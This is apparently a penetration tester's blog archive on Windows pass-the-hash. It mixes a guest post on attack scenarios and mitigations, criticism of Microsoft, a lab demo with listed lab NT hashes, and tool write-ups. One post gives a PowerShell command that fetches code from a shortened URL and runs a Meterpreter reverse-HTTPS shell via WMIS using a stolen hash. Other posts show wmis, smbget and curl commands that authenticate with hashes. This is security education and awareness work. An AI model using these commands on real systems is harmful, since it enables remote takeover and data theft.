Monday, March 3, 2014

Guest Post: Let's talk about Pass-the-Hash by Scriptjunkie

March is Pass-the-Hash awareness month. (#PtHAwareness) Pass-the-Hash affects virtually all of us with Windows networks, but authentication issues like Pass-the-Hash are often misunderstood. This month, take time to ensure you are PtH aware and help us spread awareness.  



What are the problems?


Pass-the-Hash refers to using a password hash to authenticate to a remote Windows system. Password hashes for all local accounts are stored locally on all Windows computers, hashes for all domain accounts are stored on all domain controllers for a Windows domain, and hashes for currently-logged-in users whether local or domain are usually stored in memory in the computer the user is logged into. (some exceptions apply, see below for details) But there are actually many attacks that pass hashes, and stopping one does not stop the rest. It's debatable whether any one of these is more important or more significant than the others; all of them have been frequently used by pentesters and real hackers. Which one matters most changes depending who you ask, which is why one person can think X solves the problem, while another person doesn't think X touches the main problem, so why you need to understand all of the problems. To better explain, I'll give you them as a series of stories:  


  1. Evil hacker Eve compromises a workstation on the DOH windows domain with local admin privileges. (Maybe Eve compromised user DOH\Alice with a drive-by-download exploit or an Excel macro and escalated privileges using an HP driver vulnerability. Or maybe Eve physically snuck in and added a backdoor to the hard drive; it doesn't really matter; these things happen.) The first thing Eve does (after sitting back and evilly cackling Buwahahah!) is to dump the local hash database, which local administrators are allowed to do at least three different ways.* Eve now has the hashes for all local accounts. Eve now uses those user accounts and hashes to try to remotely compromise other systems on the same LAN. If the password to a local administrator accounts is the same, and the account is not prohibited from remotely logging in, Eve will succeed in remotely compromising those systems, owning more of the network and moving inevitably closer to world domination.  
  2. Evil hacker Eve compromises Alice's workstation on the DOH windows domain with local admin privileges, just like before. But this time, Eve searches memory for tokens of a DOH admin. Since Alice's computer needed a Java update yesterday, DOH\adminBob, a help desk admin remotely logged in via Remote Desktop to install it. Bob's hash is left in memory (along with his password if he used a password, and his Kerberos ticket). Eve steals Bob's hash and passes it to other computers, compromising all the workstations in the DOH domain, and stealing everybody's data. World dominated, since the adminBob account had privileges to remotely control all the workstations.
  3. Evil hacker Eve got access to the DOH hash database. Maybe Eve found a backup of a domain controller, maybe Eve snuck into the server racks, maybe Eve hacked one of the DOH domain admins or stole a ticket at one point in time. Eve now has the hashes to every account on the domain. Eve then uses that as a way to maintain elevated privileges. Eve can also use them to remotely pull all of the email from all users’ accounts if OWA accepts NTLM authentication. Eve can use these creds to log in as any domain user and quickly obtain access to any sharepoint page, database, etc. Eve can also use these hashes to compromise other domains if any user account or group in DOH has been granted privileges on another domain that has a trust relationship with DOH. If there is a VPN server using an MS-CHAP variant that accepts users’ passwords, Eve can now VPN in as any of those users. Eve can create a "golden ticket" (forged Kerberos ticket) using the hash of the KRBTGT account, which will allow Eve to authenticate as an admin even after the admin changes his or her password.
*inject LSASS & dump, export registry backup and extract, or raw disk volume access. One of Microsoft's new mitigations is restrictions preventing injecting into LSASS without a signed kernel driver, but since there are many ways to dump hashes and get kernel code running, it doesn't make a huge difference.


It didn't have to be this way


Some people simply accept all of these flaws as inherent in single-sign-on and centralized authentication. But they don't have to be. For example, it's easy to dismiss 3. saying "Well, Eve already has full access to the domain" but there's a few reasons why this doesn't have to be so bad. Let's suppose Alice & Bob find out their DOH domain was hacked. They change all the passwords to all the users. They look for and get rid of all malware. But Eve is able to quickly regain full control of the domain. Or maybe Alice & Bob added something like DNS whitelisting, which broke Eve's access until Eve sent another phishing email. But Eve doesn't have to do any work to re-escalate privileges since Eve has permanent stored credentials. "Re-entry attacks" are a real threat to real networks, and dramatically increase the cost of recovery. Let's think about some other ways Microsoft could have done it:


  • Instead of saving a shared secret based on each user's password, Microsoft could have generated a password-derived public/private key pair, and only stored the public part. Story 1 and story 3 wouldn't exist, since stored hashes could not be re-used for authentication; there would be no pass-the-hash.
  • Instead of saving creds in memory, Microsoft could have simply required users to enter their password every time they access a new network resource and used salted hashes or something like that. This would help address 2, but wouldn't be practical since everyone hates re-entering passwords.
  • Microsoft could have stored a public key and required smart card auth for every network resource. This might slow down things, but would address 1, 2, and 3.


In each of those alternatives, the attacker in 3 couldn't conduct many of those attacks without changing the password to a user, which is a big no-no for most serious attackers since users would notice and might blow the whole operation. PtH allows attackers to easily and silently obtain access to all users' data without being detected.


But here we are; with two main ways to authenticate to a system. Either you log in and give your creds to the system or you don't. If you do, you probably logged in via RDP, or locally at the console, or via a saved password (e.g. service or batch logon). If you didn't, you used network authentication, either with Kerberos or NTLM. The hash is used directly in NTLM, but not in Kerberos. (If you're using passwords, the password hash will be used to get a Kerberos ticket, but not if you're using smart cards. In all cases, the hash of the krbtgt account will be used as the Kerberos controller's secret to authenticate and encrypt Kerberos tickets.) So as long as NTLM is enabled, the hash can be passed. And the krbtgt hash can be used to get yourself a Kerberos ticket at any time. Those can be stolen anywhere there is interactive authentication and used anywhere there is network authentication.

Stop Leaving Your Creds Lying All Around The Network


For 2, Microsoft introduced new security features in Windows 8.1; by default domain accounts no longer store plaintext passwords in memory on a system, should clean up the hash and ticket better on logout, and if the account is a Protected User, the hash will not be present either (although a Kerberos TGT will be). If the account logged in remotely via RestrictedAdmin RDP, no stealable credentials will be put on the remote system at all. But that means in order to authenticate, RestrictedAdmin RDP now uses only network authentication, which means either NTLM or Kerberos will work by default. So you can now pass-the-hash (or ticket) to RDP. Of course, if you already had an admin hash, you could pass-the-hash with psexec and take over the remote system that way if windows SMB/RPC (ports 445,135,139...) were exposed, but because of the increased risk of these ports, there are millions of systems that are only exposed over RDP, and not SMB or RPC. They may soon become vulnerable to pass-the-hash. The advantage is that one of our biggest problems, the one I call "leaving your creds lying all around the network" is dramatically reduced, assuming your admins stick to RestrictedAdmin RDP. This is a big win, assuming you don't allow RDP anywhere you don't allow SMB.

Protected Users highlight the importance of 3; if a domain admin was a Protected User and logged into a compromised server, the attacker who controls that server would have temporary access to that domain admin's account via the TGT. By dumping the domain's hash database with that TGT, the attacker now has permanent access with full control over the domain. However, I still consider Protected Users an improvement since the exposure duration of kerberos tickets (a few hours) is vastly less than the exposure duration of hashes (good forever until password change). Microsoft also introduced authentication silos, which restrict where an account can log in from. If you can write that detailed of policies for your admins, e.g. only allow login from admin workstations, that will also help a lot. Anyone elsewhere in the network with their hash will be unable to pass-the-hash with their accounts. Of course that doesn't address all the user PtH.

No Permanent Stored Credentials


For 3, if an attacker obtains access to your domain hash database, your only good option is to adopt a policy I call "No permanent stored credentials." In order to do this, you must disable NTLM in your domain, and mandate that any account that can remotely authenticate uses a smart card. Then you must also shorten the computer account password change timeline and frequently (every few days) change the password to the krbtgt account to a random value as well. This will prevent any users' hashes from being used in remote authentication, and no permanent credentials will ever be stored on disk or in-memory. You may not be able to implement this policy if you have a lot of legacy equipment and software, so some of my PtH cohorts don't like it, but I'm the build-a-secure-network-guy and I highly recommend it if you are building a new network. No reason to keep doing stupid just because you've always done stupid. This has big benefits; in addition to significantly reducing the exposure of credentials to theft, attackers will be forced to maintain access with malware on critical systems which you have a chance of finding, rather than simply holding creds to pull data at will, which you will have very little chance of finding. Attackers will find re-entry attacks much harder since any stolen or forged credentials will quickly become invalid.

Note that there are a lot of other problems with Windows authentication, especially if you're using passwords. People leave them lying around in shared drives and sticky notes, they can be guessed, everyone reuses them, they're hard to remember, people type them into the pages that look like login pages but aren't, they're easy to lock out or brute force online, and their hashes whether salted, unsalted, or captured in a challenge-response can be cracked because hardware is cheap but human memory is terrible. And NTLM is just all-around bad. But this month, we're just talking about Pass-the-Hash.

Bottom Line

is that hashes come from many places and can be used many ways. Microsoft's new mitigations can help you if you're careful, Keep Local Local; if you watch out for the other pitfalls, Stop Leaving Your Creds Lying All Around The Network; but I still recommend you have No Permanent Stored Credentials as well. And for crying out loud, get rid of passwords or this guy will hunt you down and crack them all.


Sunday, March 2, 2014

March is (apparently) Pass-the-Hash Awareness Month!

Well,  thanks to a conversation with @jcran and Scriptjunkie1 (among others), apparently March is now "Pass-the-Hash" awareness month.  In that spirit, I'm going to present a guest blog post by Scriptjunkie1.

I'm in the final process of editing it and making sure it looks proper on the blog, so I'd expect it in the next day or so.




Saturday, March 1, 2014

Why We Don't Get It and Why We Shouldn't

Warning: This is a rant with a few technical details sprinkled in.

It is 2014.

Would you voluntarily store your sensitive data with an organization that...

stores your password essentially in clear text?
stores it somewhere else as an unsalted hash?
treats password hashes as an equivalent to a password?
can't tell the difference between when the hash was used or the password?
introduces a mitigation feature that actually makes the problem a bit worse?
tells you they are properly encrypting your administrative and service passwords?
introduces two-factor authentication support but doesn't actually enforce it in some cases?

Hopefully, you answered "NO!" to all of those questions, but its very likely that you are doing all of those things in your enterprise. Congratulations, by utilizing Microsoft Windows you have inherited all of those problems and more! All of the data that resides on Windows-based file servers, SharePoint servers and Exchange servers are all at risk, but according to Microsoft this is not a "Windows Problem":


The title of the slide seems to be where Microsoft goes wrong. They assert that Pass-the-Hash (PtH) is the same thing as Single-Sign On (SSO). It is not. The PtH attack is viable because of how Microsoft designed their authentication architecture decades ago. So to fix the title of that slide:
There are other logical problems with the slide, but the content is generally correct. PtH can't be "fixed" within the constructs of the currently broken authentication model. Whose problem is that? If you are a Windows user, apparently it is yours.


You were absolutely correct before you blocked us on twitter, we don't get it. We really don't get it. Why do we have to accept this vulnerability just because you assert that it is a feature? (On another note, Why would we pay to see a talk that you and other Microsoft employees have already given many times?)


We applaud your efforts to make Windows more secure going forward, but convoluting token manipulation and PtH is wrong. Please stop doing it. Furthermore, if your SSO-model means that an attacker can masquerade undetected as any user (without having to crack passwords) - IT IS BROKEN.

When will you stop hiding behind your dated "Laws of Security"? They are true for Windows, but should they be? Should an attacker be able to knock over a domain controller and have access to all of your data? Should an admin be able to easily gain access to all data on the system regardless of ACLs?

The new mitigation techniques are long overdue band-aides and do nothing to stop and attacker who has already taken over your domain. The model is broken Microsoft. Fix it.

Oh yeah, I support this:

-Chris



Saturday, February 22, 2014

Pre RSA Conference Demo - Win 8.1 attack machine vs 2012r2 DC w/ Win 8.1 client

The Story Thus Far...

So on the twitters today, Sam Bowne (@sambowne / http://samsclass.info) continued on a partial conversation started earlier in the week with @obscuresec / myself regarding an upcoming RSA talk.  The RSA talk is entitled "Pass-the-Hash: How Attackers Spread and How to Stop Them" by Mark Russinovich and Nathan Ide, both from Microsoft.  The slides can apparently be found here: http://www.rsaconference.com/writable/presentations/file_upload/hta-w03-pass-the-hash-how-attackers-spread-and-how-to-stop-them.pdf

I respect the work that the folks at Microsoft have put into trying to lessen the impact of PTH attacks on Microsoft products.  However, I feel obligated to point out that claims that something "stops PTH attacks" is at best an exaggeration and at worst a bold-faced lie of a delusional mind.

Repeat After Me :  PTH is By Design Functionality

This is the way NTLM works.  All authentication operations work on the password hash.  Internally the NTLM security provider only saves the username / hash for use during Single Sign On.  If it needed more, it would have saved more.  Just ask the Digest SSP, which saves the username / plaintext password.

PTH attacks cannot be stopped unless you disable NTLM.  Period.   End of story / paragraph / book / library.  They can only be mitigated or made more challenging.

The Demo Setup

I have a VMWare virtual network set up with 3 hosts.

1 domain controller (172.19.1.1) running Server 2012 R2 running in 2012r2 functional level
1 domain client machine (172.19.1.5) running Windows 8.1
1 attack machine (172.19.1.10) running Windows 8.1

All machines are fully patched as of today : 2/22/2014.

I have disabled Windows Defender and the Windows firewall on all machines.  I also re-enabled the local administrator accounts on both Windows 8.1 machines, as they are disabled by default.  In addition, on the attack machine only I disabled UAC.

Aside from the above changes, these are stock builds.  No registry settings have been changed.

In the domain I have created several users, but for the purposes of the demo I used the domain administrator.

For attack tools I am using the latest version of Mimikatz (@gentilkiwi / http://http://blog.gentilkiwi.com/mimikatz) and Mr. Russinovich's venerable psexec tool from Microsoft's Sysinternals.

All hashes will crack with a 4x4 character keyboard pattern if you're bored ;-)  I made separate passwords for each account in use to ensure nothing weird happened with accounts with the same PW.

The accounts:
172.19.1.1
administrator, Member of Domain Admins group, built-in 500 account
NT hash: 821C5CA39C55B70ADF80CADAFBFCD849
172.19.1.5 - 
Administrator - Member of the local 'administrators' group, built-in 500 account
NT hash: 0C1F997A0830BBFB8167F49B1ED59D15
Skip - Member of the local 'administrators' group
NT hash: 57C8A8C6D4FC8CCA2EAC7D4DC2C6576A

172.19.1.10 -
attackadmin - Member of the local 'administrators' group, built-in 500 account
nt hash: 8189A242FEAC3582A0A084D199EDCD2C

Let's Fire Some Binary Bullets!

Here's a screenshot of the attack machine.  Note that the attack machine has a reddish desktop for clarity:



Here's a screenshot of the Win 8.1 domain client machine.  Note it has a black background to differentiate it from the attack machine:




We are going to use the Mimikatz to create a new process with a specified hash on our attack machine.  Note that you must have enabled debug privileges in order for it to work properly.


The command prompt that opened up can now be used with psexec to connect to the Windows 8.1 client.  Note that since the attack machine is NOT domain joined, the only way to log in without specifying a username and password is via the process token that was created.



As you can see, we have logged into the Windows 8.1 domain client as "2012r2\administrator" or the domain administrator account.

Here we log into the 2012r2 domain controller in the same fashion:


So as of right now, neither Windows 8.1 or Windows 2012 R2 stock prevents a domain administrator account from using PTH to access these machines.  This is the expected behavior.

Where things get interesting is when we try to use a non-500 account local administrator to log into the Windows 8.1 client.


By default on Vista+ versions of Windows, members of the local admin groups via UAC are not allowed to access the computer via the network.  (Technically this is because of privileged token filtering, however this bit gets flipped on the back end when UAC is enabled.)

However, by default on Vista+, the local 500 account is not subject to UAC or the token filtering so that account can log right in.

Here's a screenshot of the Local Security Policy on the Windows 8.1 client:


And here's me using psexe to log in as the local 500 administrator:


In order to make it so the local administrator account that failed could log in, we need to modify the client's registry to disable the token filtering feature from working.  Alternatively, we could have just disabled UAC and that would have also worked.


After adding this registry setting, we can log in via psexec as the user 'skip'.



Some Closing Thoughts

It is worth noting that the default 500 administrator is disabled by default.  This is done for a reason since it has separate UAC permissions in the local security policy.

However, based on my personal experience as a pentester this environment is not terribly realistic for several reasons, all of them bad.

1)  I've never seen a 2012 domain in production, let alone a 2012 R2 domain.
2)  I've never seen any Windows 8 in production, let alone 8.1.
3)  Many places I've visited have the local 500 account enabled.
4)  Many places I've visited have disabled UAC.

I could go on and on....


Friday, July 19, 2013

WMIS: The Missing Piece of the Ownage Puzzle

The unsung hero of the PTH-Suite is definitely WMIS. It has replaced several other tools that I previously used to pass the hash. It is essentially the Linux equivalent to WMIC and the "process call create" query. The advantage of WMI over other methods of remote command execution is that it doesn't doesn't rely on SMB and starting a service on the remote host.  In most cases, it flies beneath the radar and it just might be the easiest way to get a shell on a remote host all without writing to the disk.

I recently wrote a post on Pentest Geek about how easy it easy it is to get a Meterpreter shell from a PowerShell console by using Matt Graeber's PowerSploit function Invoke-Shellcode. WMIS with a password hash (or password) is essentially like being able to run a single cmd.exe command at a time. There are lots of ways to turn that type of access into a shell, but few are as easy as this.

The first step is to properly install WMIS as described here. Unfortunately, those steps need to be followed even today for x64 versions of Kali.


Now that we have WMIS installed, we can start our Meterpreter handler. I prefer to use this script to automate the process:


Next, we need to build the PowerShell code we want to execute to get our shell:

IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’); Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 192.168.0.15 –Lport 443 –Force

What this is doing is utilizing Invoke-Expression (aliased to IEX) to execute what is downloaded with the .Net webclient. The Invoke-Shellcode function is being downloaded and ran in memory and we are appending the options we need to get our shell.

Now we need to convert this script block into something that cmd.exe understands. The best way to do that is to base64 encode the scriptblock which can also be accomplished with another simple python script:


You may notice that the script is ensuring we don't pass the length restriction for cmd.exe and encoding the string to little endian Unicode before base64 encoding. PowerShell can be quirky, but a good explanation can be found here.  After running the script we have the command to feed to WMIS:


Now we can run WMIS with the command from the previous script:


Now we wait. It could take up to a few minutes, but eventually we will have our shell:


That is it. We can pass hashes to get a Meterpreter shell without starting a service, uploading a binary or using SMB.  My next post will demonstrate how to automate the entire process and will discuss the release of the latest addition to the PTH-Suite: PowerPTH. Stay tuned.

Join us at Blackhat where we will continue our talk from last year with new PtH-related content including some simple mitigations.  If you are interested in PowerShell uses in pentesting, check out my blog for a list of great resources and sign up for Carlos Perez's PowerShell class at Derbycon.  Speaking of Derbycon, Skip and I will be there too!

-Chris



Tuesday, July 16, 2013

Long Overdue Updates - Blackhat, Derbycon and more!

Upcoming Conferences

In spite of what the BlackHat USA 2013 page says, Chris and I both will be at BlackHat this year presenting a talk that will hopefully help folks understand 1) the problem of PTH and other credential attacks and 2) give folks some solid ideas on how to defend against it.  We're also releasing some tools to help you guys out...  I'm not going to spoil the fun, but you know that Chris is big into powershell, right? *wink*

Also, and it's not up yet, Chris and I will be heading back to Derbycon this year.  We're really looking forward to it! 

PTH Tools in Kali

I'm not sure if everybody saw, but one of the Kali devs did some pretty neat stuff to incorporate the most of the PTH toolset into Kali.  For those of you who don't know Raphael Hertzog, here's his blog: http://raphaelhertzog.com/.  He's a regular Debian contributor and I know he spent a fair amount of time working on getting PTH in Kali.  He has a donations page, if you find the PTH toolsuite useful, please consider donating to him via Paypal.  I just did!

Here's the Kali post in case you missed it: http://www.kali.org/kali-monday/pass-the-hash-toolkit-winexe-updates/

More To Follow...

I plan on trying to make some more time to post on the blog related to PTH and a series of posts on defense as well.  We'll see how that turns out :/




Sunday, April 14, 2013

Missing PTH Tools Writeup - WMIC / WMIS / CURL

Looking back over my blog, I realized I never did a writeup on the wmi / wmis / curl with the PTH functionality.  so, I'm going to do that now while I'm thinking about it ;-)


WMIC / WMIS

Windows Management Instrumentation (WMI) is officially defined by Microsoft as "the infrastructure for management data and operations on Windows-based operating systems".  You can Google more, but the TLDR version is that it uses a subset of ANSI SQL to query the operating the system for various things that might be of value.  You can also also interact with the Windows OS by accessing methods that are exposed by the various WMI providers.  More on this in a few.

Somewhere along the way, a WMI client appeared on the net.  I'm not sure from whence it came, but for a while it was being used by Zenoss to monitor Windows machines.  The problem is that it was written based on an old version of Samba 4 with some additional functionality that has since been removed from the Samba 4 source tree.  So, in essence, it's unsupported and getting it to work with newer versions of Samba would be painful, as one would need to recreate the functionality that got removed a few years ago.

The first tool I'm going to talk about is "wmic".  This tool can be used to issue WMI queries to a Windows computer.  Note, this tool is only for queries.  For example:

root@bt:/opt/rt/bin# wmic  -U demo/administrator%hash //172.16.1.1 "select csname,name,processid,sessionid from win32_process"

This query will list process names and PIDS for running processes on 172.16.1.1 as seen in this picture:



The next tool is a little more interesting.  I mentioned earlier that there were ways of accessing 'methods' of various underlying windows functionality.  One of the most interesting ones is  the "create" method from the win32_process class.  This allows WMI to create a process on the remote system.  It will return whether or not the process was created, so one would need to redirect output to a file and grab it somehow.  The WMIS tool takes advantage of this behavior to start processes on the remote computer.

For example, running the command:

wmis -U demo/administrator%hash //172.16.1.1 'cmd.exe /c dir c:\ > c:\windows\temp\blog.txt'

runs the command 'cmd.exe /c dir c:\ > c:\windows\temp\blog.txt'.  Note the "cmd.exe /c" is required to actually execute the command.

We can then use something like smbget to dump the output IE:

smbget -w demo -u demo\\administrator -O -p <hash> smb://172.16.1.1/c$/windows/temp/blog.txt

And, we can see from this screenshot that it worked as expected....



What sorts of evil things can you do from the commandline?  Aside from piecing together an asynchronous shell, there's a lot of interesting things you can do...  I'll let @obscuresec answer that one in a guest post here soon....  It's nice and evil, trust me...



CURL


Curl is a useful command line web utility that also has support for several other protocols, such as ftp, smtp, pop3, and others.   I patched PTH functionality in as a quick method to access some of these other protocols if they prompted for NTLM authentication.  The easiest example is grabbing info from a sharepoint server....

For example, if we want to log in with bob.franklin and grab his default sharepoint page we can do something like this:

curl --ntlm -u bob.franklin:<hash> http://intranet.demo.local/Pages/Default.aspx

And you see we get a bunch of html back from the server in the image.